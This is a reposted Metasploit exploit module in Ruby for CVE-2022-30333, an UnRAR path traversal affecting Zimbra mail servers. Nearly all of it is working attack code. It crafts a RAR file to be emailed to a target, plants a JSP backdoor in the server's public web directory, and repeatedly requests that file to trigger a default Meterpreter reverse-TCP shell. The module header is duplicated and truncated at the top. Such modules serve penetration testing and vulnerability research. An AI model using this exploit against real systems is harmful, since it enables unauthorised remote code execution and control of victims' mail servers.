Vulnerabilities

Zimbra UnRAR Path Traversal

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Format::RarSymlinkPathTraversal

def initialize(info = {})
super(
update_info(
info,
'Name' => 'UnRAR Path Traversal in Zimbra (CVE-2022-30333)',
'Description' => %q{
This module creates a RAR file that can be emailed to a Zimbra server
to exploit CVE-2022-30333. If successful, it plants a JSP-based
backdoor in the public web directory, then executes that backdoor.

The core vulnerability is a path-traversal issue in unRAR that can
extract an arbitrary file to an arbitrary location on a Linux system.

This issue is exploitable on the following versions of Zimbra, provided
UnRAR version 6.11 or earlier is installed:

* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
},
'Author' => [
'Simon Scannell', # Discovery / initial disclosure (via Sonar)
'Ron Bowes', # Analysis, PoC, and module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-30333'],
['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],
['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P25'],
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32'],
['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[ 'Zimbra Collaboration Suite', {} ]
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/',
'TARGET_FILENAME' => nil,
'DisablePayloadHandler' => false,
'RPORT' => 443,
'SSL' => true
},
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2022-06-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),

# Separating the path, filename, and extension allows us to randomize the filename
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),
OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),
]
)

register_advanced_options(
[
OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (must be 12 characters or less; default: random)']),
OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),

# Took this from multi/handler
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),
OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])
]
)
end

# Generate an on-system filename using datastore options
def generate_target_filename
if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')
print_Warning('TARGET_FILENAME does not end with .jsp, was that intentional?')
end

File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")
end

# Normalize the path traversal and figure out where it is relative to the web root
def zimbra_get_public_path(target_filename)
# Normalize the path
normalized_path = Pathname.new(File.join('/opt/zimbra/data/amavisd/tmp', target_filename)).cleanpath

# Figure out where it is, relative to the webroot
webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/zimbra/')
relative_path = normalized_path.relative_path_from(webroot)

# Hopefully, we found a path from the webroot to the payload!
if relative_path.to_s.start_with?('../')
return nil
end

relative_path
end

def exploit
print_status('Encoding the payload as a .jsp file')
payload = Msf::Util::EXE.to_jsp(generate_payload_exe)

# Create a file
target_filename = generate_target_filename
print_status("Target filename: #{target_filename}")

begin
rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), target_filename, payload)
rescue StandardError => e
fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")
end

file_create(rar)

print_good('File created! Email the file above to any user on the target Zimbra server')

# Bail if they don't want the payload triggered
return unless datastore['TRIGGER_PAYLOAD']

# Get the public path for triggering the vulnerability, terminate if we
# can't figure it out
public_filename = zimbra_get_public_path(target_filename)
if public_filename.nil?
print_warning('Could not determine the public web path, disabling payload triggering')
return
end

register_file_for_cleanup(target_filename)

interval = datastore['CheckInterval'].to_i
print_status("Trying to trigger the backdoor @ #{public_filename} every #{interval}s [backgrounding]...")

# This loop is mostly from `multi/handler`
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i
timeout = datastore['ListenerTimeout'].to_i
loop do
break if session_created?
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(public_filename)
)

unless res
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
end

Rex::ThreadSafe.sleep(interval)
end
end
end